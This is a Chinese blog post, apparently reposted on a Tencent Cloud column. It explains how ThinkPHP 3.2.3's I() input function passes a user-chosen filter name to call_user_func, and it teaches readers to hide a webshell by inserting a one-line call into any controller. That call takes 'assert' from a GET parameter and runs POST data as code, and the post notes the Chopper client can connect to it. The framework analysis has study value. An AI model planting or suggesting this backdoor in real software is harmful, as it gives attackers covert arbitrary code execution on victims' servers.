前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP留后门技巧

ThinkPHP留后门技巧

作者头像
phith0n
发布2020-10-15 10:45:12
1.2K0
发布2020-10-15 10:45:12
举报
文章被收录于专栏:离别歌 - 信息安全与代码审计

90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。

thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。

let me see see I函数的代码:

代码语言:javascript
复制
<?php
function I($name, $default = '', $filter = null, $datas = null)
{
    ...

    if ('' == $name) {
        // 获取全部变量
        $data    = $input;
        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
        if ($filters) {
            if (is_string($filters)) {
                $filters = explode(',', $filters);
            }
            foreach ($filters as $filter) {
                $data = array_map_recursive($filter, $data); // 参数过滤
            }
        }
    } elseif (isset($input[$name])) {
        // 取值操作
        $data    = $input[$name];
        $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
        if ($filters) {
            if (is_string($filters)) {
                if (0 === strpos($filters, '/')) {
                    if (1 !== preg_match($filters, (string) $data)) {
                        // 支持正则验证
                        return isset($default) ? $default : null;
                    }
                } else {
                    $filters = explode(',', $filters);
                }
            } elseif (is_int($filters)) {
                $filters = array($filters);
            }

            if (is_array($filters)) {
                foreach ($filters as $filter) {
                    if (function_exists($filter)) {
                        $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
                    } else {
                        $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
                        if (false === $data) {
                            return isset($default) ? $default : null;
                        }
                    }
                }
            }
        }
    ...
    return $data;
}

I函数的第三个参数是$filter,作用是对变量的过滤。

新版本(3.2.3)中,$filter可以传入两种4种值:

  1. 一个过滤函数(字符串)
  2. 一些过滤函数组成的字符串,其间用“|”分割
  3. 一些过滤函数的字符串组成的数组
  4. 以“/”开头的正则表达式

可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:

代码语言:javascript
复制
<?php
if (0 === strpos($filters, '/')) {
    if (1 !== preg_match($filters, (string) $data)) {
        // 支持正则验证
        return isset($default) ? $default : null;
    }
} 

如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。

而回调函数部分,是我们留后门的关键。核心是这一段:

代码语言:javascript
复制
<?php
if (is_array($filters)) {
    foreach ($filters as $filter) {
        if (function_exists($filter)) {
            $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
        } else {
            $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
            if (false === $data) {
                return isset($default) ? $default : null;
            }
        }
    }
}

如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。

我们跟进array_map_recursive函数:

代码语言:javascript
复制
<?php
function array_map_recursive($filter, $data)
{
    $result = array();
    foreach ($data as $key => $val) {
        $result[$key] = is_array($val)
        ? array_map_recursive($filter, $val)
        : call_user_func($filter, $val);
    }
    return $result;
}

明显是一个递归执行的过程,最后调用的是call_user_func 。

还记得我说过的php回调后门么(https://cloud.tencent.com/developer/article/1717677),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。

所以,我们只需要随意找个controller,在可访问的方法中插入:

代码语言:javascript
复制
I('post.90sec', '', I('get.i'));

如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。

我就拿thinkphp默认的IndexController下的index方法示例:

如下即可执行任意代码:

一个回调后门,菜刀也可以连接。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档